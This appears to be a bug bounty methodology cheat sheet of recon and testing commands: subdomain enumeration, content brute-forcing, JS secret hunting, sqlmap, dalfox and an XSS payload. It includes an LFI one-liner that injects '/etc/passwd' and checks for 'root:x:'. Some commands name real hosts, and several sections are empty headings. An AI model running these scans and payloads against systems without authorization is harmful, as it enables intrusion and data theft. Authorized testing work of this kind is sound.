Bug Bounty Methodology
1
1. Reconnaissance
1.1 Subdomain Enumeration
subfinder -d target.com -all -recursive -t 200 -silent -o subfinder-rescursive.txtfindomain --quiet -t target.com | tee findomain.txtamass enum -passive -d target.com -o amass.txtassetfinder -subs-only target.com | tee assetfinder.txtsublist3r -d target.com -t 50 -o sublist3r.txt curl -s "https://crt.sh/?q=%25.DOMINIO.TLD&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' > "crtsh.txt"python3 subbrute.py target.com -w wordlist.txt -o brute_subs.txt./Tools/massdns/scripts/subbrute.py target.com /usr/share/wordlists/2m-subdomains.txt | massdns -r /usr/share/wordlists/resolvers.txt -t A -o S -w target.com.txtffuf -u https://target.com -H "Host: FUZZ.target.com" -w /usr/share/wordlists/subdomains.txt -t 100 -fc 403 | tee ffuf_subs_output.txtfor subs in $(cat ffuf_subs_output.txt | awk '{print $1}'); do echo "${subs}.target.com" >> ffuf-subs-final.txt ; donecat *.txt | anew all_subdomains.txt sort todos_subdominios.txt | uniq > todos_subdominios_sin_duplicados.txt1.2 DNS Resolution
shuffledns -d target.com -list all_subdomains.txt -r resolvers.txt -o live_subs.txtdnsx -l all_subdomains.txt -r /usr/share/wordlists/resolvers.txt -o live_subs.txtmassdns -t A -o S -w 200_domains.txt domains.txt -r /usr/share/wordlists/resolvers.txtsudo subzy run --targets subdomains.txtdnsx -l live_subs.txt -a -resp-only -o live_with_ips.txtdnsx -ptr -l live_with_ips.txt -r /usr/share/wordlists/resolvers.txt | massdns -r /usr/share/wordlists/resolvers.txt -q -o S -t PTR > reverse_dns_massdns.txt1.3 HTTP Probing (Identifying Live Web Services)
httpx -l live_subs.txt -title -sc -location -p 80,443,8000,8080,8443 -td -cl -probe -o httpx_output.txtcat httpx_output.txt | grep -v "FAILED" | awk '{print $1}' | tee probed_domains.txtcat subdomains.txt | sudo httpx > alive_subdomainscat subdomains.txt | httpx(-toolkit) -l subdomains.txt -ports 80,8080,443,8000,8888 -threads 200 > subdomains_alive.txt1.4 Screenshotting Web Services
cat web_servers.txt | aquatone -out screenshots/gowitness scan file -f probed_domains.txt --threads 10 --screenshot-path screenshots/ --write-db1.5 Content Discovery (Directory and File Bruteforcing)
dirsearch -w /usr/share/wordlists/custom.txt --full-url --random-agent -x 404,400 -e php,html,js,json,ini -u https://target.com/dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql,asp,aspx,asp~,py~,rb,rb~,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp~,lock,log,rar,old,sql.gz,sql.zip,sql.tar.gz,sql~,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 --full-url --deep-recursive -w /usr/share/wordlists/custom.txt --exclude-subdirs .well-known/,wp-includes/,wp-json/,faq/,Company/,Blog/,Careers/,Contact/,About/,IMAGE/,Images/,Logos/,Videos/,feed/,resources/,banner/,assets/,css/,fonts/,img/,images/,js/,media/,static/,templates/,uploads/,vendor/ --exclude-sizes 0B --skip-on-status 429 --random-agent -u http://target.com/cat probed_domains.txt | feroxbuster --stdin -s 200 --no-recursion -k --random-agent --no-state -r -W 0 -w /usr/share/wordlists/custom.txtffuf -w /usr/share/wordlists/custom.txt -t 75 -ac -mc 200,405,401,415,302,301 -u http://assets.engage.tesla.com/FUZZxargs -a probed_domains.txt -I@ sh -c 'gobuster dir -u "@" --no-error -f -q -k -e --random-agent -w /usr/share/wordlists/custom.txt' | tee -a gobuster.txt1.6 Parameter Discovery
arjun -u "https://target.com" -m get --stableffuf -u https://target.com/page.php?FUZZ=test -w param_wordlist.txtparamspider -d DOMINIO --subs1.7 Archived URLs
gau target.com | anew gau_urls.txtcat subs.txt | gauplus -subs -b png,jpg,gif,jpeg,swf,woff,gif,svg -o allUrls.txt ; cat allUrls.txt | httpx -mc 200,403 -o liveallurls.txtwaybackurls target.com | anew wayback_urls.txtkatana -passive -pss waybackarchive,commoncrawl,alienvault -f qurl -u target.com | anew katana_urls.txt1.8 Filtering Interesting URLs
cat gau_urls.txt | gf xss | anew xss_candidates.txt
cat gau_urls.txt | gf sqli | anew sqli_candidates.txt1.9 Crawling and Spidering
katana -list probed_domains.txt -silent -o katana_crawl.txtgospider -s https://target.com -d 1 -o gospider_crawl.txt1.10 ASN and IP Range Enumeration
amass intel -asn <ASN_Number> -o asn_targets.txt1.11 Cloud Asset Enumeration
cloud_enum -k tesla.com1.12 Fingerprinting Web Technologies
whatweb target.com2
2. Mapping the Attack Surface
2.1 JS File Analysis
python3 linkfinder.py -i https://target.com/app.js -o clisubjs -i https://target.com | anew js_endpoints.txtkatana -list probed_domains.txt -jc | grep "\.js"cat jsfiles.txt | while read url; do python3 SecretFinder.py -i $url -o cli >> secret.txt; done3
3. Vulnerability Testing
3.1 XSS
cat xss.txt | kxss | grep "\" ' < >" | tee kxss.txtdalfox url "https://target.com/?q=search" -o dalfox_xss.txt3.2 SQLi
sqlmap -u "https://target.com/product.php?id=1" --dbsghauri -u 'URL' --data "params with * for payload injection" --batch --flush-session3.3 SSRF
3.4 IDOR
3.5 Open Redirect
3.6 File Upload Vulnerabilities
3.7 CORS
3.8 LFI
cat URL_FILE | qsreplace "/etc/passwd" | while read url; do curl -silent "$url" | grep "root:x:" && echo "$url is vulnerable"; done;4
5
6
EXTRA. Other techniques
Fastty automated XSS with airixss
waybackurls domain.com | urldedipe -qs | qsreplace "</script><script>confirm(1)</script>" | airixss -payload "confirm(1)" | egrep -v 'Not'Find Origin IP behind Cloudflare
http.favicon.hash:[hash]services.http.response.favicons.md5_hash:[hash]Última actualización